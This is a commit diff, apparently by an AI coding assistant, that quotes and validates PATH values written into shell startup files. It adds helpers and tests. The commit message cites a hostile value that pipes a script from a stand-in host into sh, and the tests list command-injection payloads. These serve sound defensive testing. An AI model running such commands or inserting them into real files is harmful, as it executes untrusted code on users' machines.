fix: quote and validate paths written by addPathToShellRc

addPathToShellRc wrote `export PATH=${value}:$PATH;` unquoted, so a
path such as `x; curl evil.sh | sh` (e.g. from a shared template) was
written into the user's shell startup file and executed on every new
shell.

Values are now validated and written inside double quotes. Plain
characters and simple variable references ($NAME / ${NAME}) are allowed;
command substitution, backticks, other `$` expansions, quotes,
backslashes and new lines are rejected with UnsafeShellValueError. A
leading `~` is converted to `$HOME` since tildes don't expand inside
double quotes. The helpers are exported (shell-escape.ts) so plugins can
reuse them. The existing `prepend` semantics are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016QnBk4KjqTgmDacTAp63Un

Author: claude

package-lock.json

@@ -1,6 +1,6 @@
 {
   "name": "@codifycli/plugin-core",
-  "version": "1.2.11",
+  "version": "1.2.12",
   "description": "TypeScript library for building Codify plugins to manage system resources (applications, CLI tools, settings) through infrastructure-as-code",
   "main": "dist/index.js",
   "typings": "dist/index.d.ts",

package.json

@@ -20,6 +20,7 @@ export * from './utils/functions.js'
 export * from './utils/index.js'
 export * from './utils/verbosity-level.js'
 export * from 'zod/v4';
+export * from './utils/shell-escape.js'
 
 export async function runPlugin(plugin: Plugin) {
   const messageHandler = new MessageHandler(plugin);

src/index.ts

@@ -7,6 +7,7 @@ import { finished } from 'node:stream/promises';
 import { ApplyNotes } from '../common/apply-notes.js';
 import { CodifyCliSender } from '../messages/sender.js';
 import { Utils } from './index.js';
+import { buildPathDeclaration } from './shell-escape.js';
 
 const SPACE_REGEX = /^\s*$/
 
@@ -70,6 +71,9 @@ ${lines.join('\n')}`)
    * @param prepend - Whether to prepend the path to the existing PATH variable.
    */
   static async addPathToShellRc(value: string, prepend: boolean): Promise<void> {
+    // Validate before anything else: the value ends up in the user's shell startup file.
+    const declaration = buildPathDeclaration(value, prepend);
+
     await FileUtils.createShellRcIfNotExists();
 
     if (await Utils.isDirectoryOnPath(value)) {
@@ -79,11 +83,7 @@ ${lines.join('\n')}`)
     const shellRc = Utils.getPrimaryShellRc();
     console.log(`Saving path: ${value} to ${shellRc}`);
 
-    if (prepend) {
-      await fs.appendFile(shellRc, `\nexport PATH=$PATH:${value};`, { encoding: 'utf8' });
-    } else {
-      await fs.appendFile(shellRc, `\nexport PATH=${value}:$PATH;`, { encoding: 'utf8' });
-    }
+    await fs.appendFile(shellRc, `\n${declaration}`, { encoding: 'utf8' });
 
     CodifyCliSender.sendApplyNote(ApplyNotes.sourceShellRc());
   }

src/utils/file-utils.ts

@@ -0,0 +1,69 @@
+import { execFileSync } from 'node:child_process';
+import { describe, expect, it } from 'vitest';
+
+import {
+  buildPathDeclaration,
+  isSafeDoubleQuotedShellValue,
+  toSafeDoubleQuotedShellValue,
+  UnsafeShellValueError
+} from './shell-escape.js';
+
+const INJECTIONS = [
+  '$(touch /tmp/pwned)',
+  '`touch /tmp/pwned`',
+  'a"; touch /tmp/pwned; echo "',
+  'a\ntouch /tmp/pwned',
+  'a\rtouch /tmp/pwned',
+  'a\\"; touch /tmp/pwned; #',
+  '$((1+1))',
+  '${(e)EVIL}',
+  '${EVIL@P}',
+  '${EVIL:-$(touch /tmp/pwned)}',
+  '$',
+  '$1',
+  '${}',
+];
+
+describe('shell-escape', () => {
+  it('allows plain values and simple variable references', () => {
+    for (const value of [
+      '/usr/local/bin',
+      '/Applications/My App/bin',
+      '$HOME/.local/bin',
+      '${PNPM_HOME}/bin',
+      '$HOME/a:$OTHER_VAR/b',
+      "it's;fine|really&(yes)",
+      '',
+    ]) {
+      expect(isSafeDoubleQuotedShellValue(value), value).toBe(true);
+    }
+  });
+
+  it('rejects command substitution, quotes, backslashes, new lines and complex expansions', () => {
+    for (const value of INJECTIONS) {
+      expect(isSafeDoubleQuotedShellValue(value), value).toBe(false);
+      expect(() => toSafeDoubleQuotedShellValue(value), value).toThrow(UnsafeShellValueError);
+    }
+  });
+
+  it('converts a leading tilde to $HOME', () => {
+    expect(toSafeDoubleQuotedShellValue('~')).toBe('$HOME');
+    expect(toSafeDoubleQuotedShellValue('~/bin')).toBe('$HOME/bin');
+    expect(toSafeDoubleQuotedShellValue('/a/~b')).toBe('/a/~b');
+  });
+
+  it('builds quoted PATH declarations (prepend behaviour unchanged)', () => {
+    expect(buildPathDeclaration('/opt/bin', false)).toBe('export PATH="/opt/bin:$PATH";');
+    expect(buildPathDeclaration('/opt/bin', true)).toBe('export PATH="$PATH:/opt/bin";');
+    expect(buildPathDeclaration('~/.local/bin', false)).toBe('export PATH="$HOME/.local/bin:$PATH";');
+    expect(() => buildPathDeclaration('/opt/bin; touch /tmp/pwned', false)).not.toThrow();
+    expect(() => buildPathDeclaration('$(touch /tmp/pwned)', false)).toThrow(UnsafeShellValueError);
+  });
+
+  it('produces declarations that the shell evaluates without running anything', () => {
+    // A value that is allowed but would be dangerous unquoted
+    const declaration = buildPathDeclaration('/opt/my dir;echo INJECTED', false);
+    const output = execFileSync('sh', ['-c', `PATH=/usr/bin:/bin; ${declaration} printf '%s' "$PATH"`], { encoding: 'utf8' });
+    expect(output).toBe('/opt/my dir;echo INJECTED:/usr/bin:/bin');
+  });
+});

src/utils/shell-escape.test.ts

@@ -0,0 +1,58 @@
+/**
+ * Helpers for safely writing user supplied values into shell startup files (.zshrc, .bashrc, etc.).
+ *
+ * Values are written inside double quotes so that variable references such as `$HOME/bin` or `${PNPM_HOME}` keep
+ * working. Everything else that the shell would evaluate inside double quotes (command substitution `$(...)`,
+ * backticks, other `$` expansions such as `${(e)VAR}` or `${VAR@P}`, backslash escapes, closing quotes and new lines)
+ * is rejected instead of escaped: escaping `$` would also break the intended variable references.
+ */
+
+// A safe value is made up of plain characters and simple variable references ($NAME or ${NAME}).
+const SAFE_DOUBLE_QUOTED_VALUE_REGEX = /^(?:[^\n\r"$\\`]|\$[A-Z_a-z]\w*|\${[A-Z_a-z]\w*})*$/;
+
+export class UnsafeShellValueError extends Error {
+  constructor(value: string, description: string) {
+    super(`Unsafe ${description}: ${JSON.stringify(value)}. Values written to shell startup files may only contain plain characters and simple variable references ($NAME or \${NAME}). Command substitution, backticks, quotes, backslashes and new lines are not allowed.`);
+    this.name = 'UnsafeShellValueError';
+  }
+}
+
+export function isSafeDoubleQuotedShellValue(value: string): boolean {
+  return SAFE_DOUBLE_QUOTED_VALUE_REGEX.test(value);
+}
+
+/**
+ * Validates that a value is safe to place between double quotes in a shell startup file. A leading `~` is converted
+ * to `$HOME` since tildes are not expanded inside double quotes. Throws {@link UnsafeShellValueError} otherwise.
+ *
+ * @param value - The user supplied value.
+ * @param description - What the value is, used in the error message.
+ * @returns the value to place between the double quotes
+ */
+export function toSafeDoubleQuotedShellValue(value: string, description = 'value'): string {
+  const converted = value === '~' || value.startsWith('~/')
+    ? `$HOME${value.slice(1)}`
+    : value;
+
+  if (!isSafeDoubleQuotedShellValue(converted)) {
+    throw new UnsafeShellValueError(value, description);
+  }
+
+  return converted;
+}
+
+/**
+ * Builds the PATH declaration line written to the shell startup file. The behaviour of `prepend` is kept as it was
+ * before quoting was added.
+ *
+ * @param value - The directory to add to PATH.
+ * @param prepend - Kept with its existing semantics.
+ * @returns the full `export PATH=...` line
+ */
+export function buildPathDeclaration(value: string, prepend: boolean): string {
+  const safeValue = toSafeDoubleQuotedShellValue(value, 'path');
+
+  return prepend
+    ? `export PATH="$PATH:${safeValue}";`
+    : `export PATH="${safeValue}:$PATH";`;
+}